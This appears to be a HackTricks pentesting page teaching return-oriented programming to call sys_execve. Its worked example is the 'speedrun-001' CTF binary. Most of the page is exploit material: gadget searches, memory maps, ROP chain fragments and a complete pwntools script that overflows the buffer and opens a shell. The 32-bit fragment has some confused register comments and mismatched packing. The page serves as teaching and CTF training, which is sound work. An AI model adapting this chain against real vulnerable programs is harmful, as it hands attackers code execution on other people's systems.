HackTricks
Search…
Pentesting
ROP - call sys_execve
In order to prepare the call for the syscall it's needed the following configuration:
  • rax: 59 Specify sys_execve
  • rdi: ptr to "/bin/sh" specify file to execute
  • rsi: 0 specify no arguments passed
  • rdx: 0 specify no environment variables passed
So, basically it's needed to write the string /bin/sh somewhere and then perform the syscall (being aware of the padding needed to control the stack).

Control the registers

Let's start by finding how to control those registers:
1
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
2
0x0000000000415664 : pop rax ; ret
3
0x0000000000400686 : pop rdi ; ret
4
0x00000000004101f3 : pop rsi ; ret
5
0x00000000004498b5 : pop rdx ; ret
Copied!
With these addresses it's possible to write the content in the stack and load it into the registers.

Write string

Writable memory

Frist you need to find a writable place in the memory
1
gef> vmmap
2
[ Legend: Code | Heap | Stack ]
3
Start End Offset Perm Path
4
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
5
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
6
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Copied!

Write String

Then you need to find a way to write arbitrary content in this address
1
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
2
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Copied!

32 bits

1
'''
2
Lets write "/bin/sh" to 0x6b6000
3
4
pop rdx, 0x2f62696e2f736800
5
pop rax, 0x6b6000
6
mov qword ptr [rax], rdx
7
'''
8
9
rop += popRdx # place value into EAX
10
rop += "/bin" # 4 bytes at a time
11
rop += popRax # place value into edx
12
rop += p32(0x6b6000) # Writable memory
13
rop += writeGadget #Address to: mov qword ptr [rax], rdx
14
15
rop += popRdx
16
rop += "//sh"
17
rop += popRax
18
rop += p32(0x6b6000 + 4)
19
rop += writeGadget
Copied!

64 bits

1
'''
2
Lets write "/bin/sh" to 0x6b6000
3
4
pop rdx, 0x2f62696e2f736800
5
pop rax, 0x6b6000
6
mov qword ptr [rax], rdx
7
'''
8
rop = ''
9
rop += popRdx
10
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
11
rop += popRax
12
rop += p64(0x6b6000) # Writable memory
13
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Copied!

Example

1
from pwn import *
2
3
target = process('./speedrun-001')
4
#gdb.attach(target, gdbscript = 'b *0x400bad')
5
6
# Establish our ROP Gadgets
7
popRax = p64(0x415664)
8
popRdi = p64(0x400686)
9
popRsi = p64(0x4101f3)
10
popRdx = p64(0x4498b5)
11
12
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
13
writeGadget = p64(0x48d251)
14
15
# Our syscall gadget
16
syscall = p64(0x40129c)
17
18
'''
19
Here is the assembly equivalent for these blocks
20
write "/bin/sh" to 0x6b6000
21
22
pop rdx, 0x2f62696e2f736800
23
pop rax, 0x6b6000
24
mov qword ptr [rax], rdx
25
'''
26
rop = ''
27
rop += popRdx
28
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
29
rop += popRax
30
rop += p64(0x6b6000)
31
rop += writeGadget
32
33
'''
34
Prep the four registers with their arguments, and make the syscall
35
36
pop rax, 0x3b
37
pop rdi, 0x6b6000
38
pop rsi, 0x0
39
pop rdx, 0x0
40
41
syscall
42
'''
43
44
rop += popRax
45
rop += p64(0x3b)
46
47
rop += popRdi
48
rop += p64(0x6b6000)
49
50
rop += popRsi
51
rop += p64(0)
52
rop += popRdx
53
rop += p64(0)
54
55
rop += syscall
56
57
58
# Add the padding to the saved return address
59
payload = "0"*0x408 + rop
60
61
# Send the payload, drop to an interactive shell to use our new shell
62
target.sendline(payload)
63
64
target.interactive()
Copied!

References

Last modified 2mo ago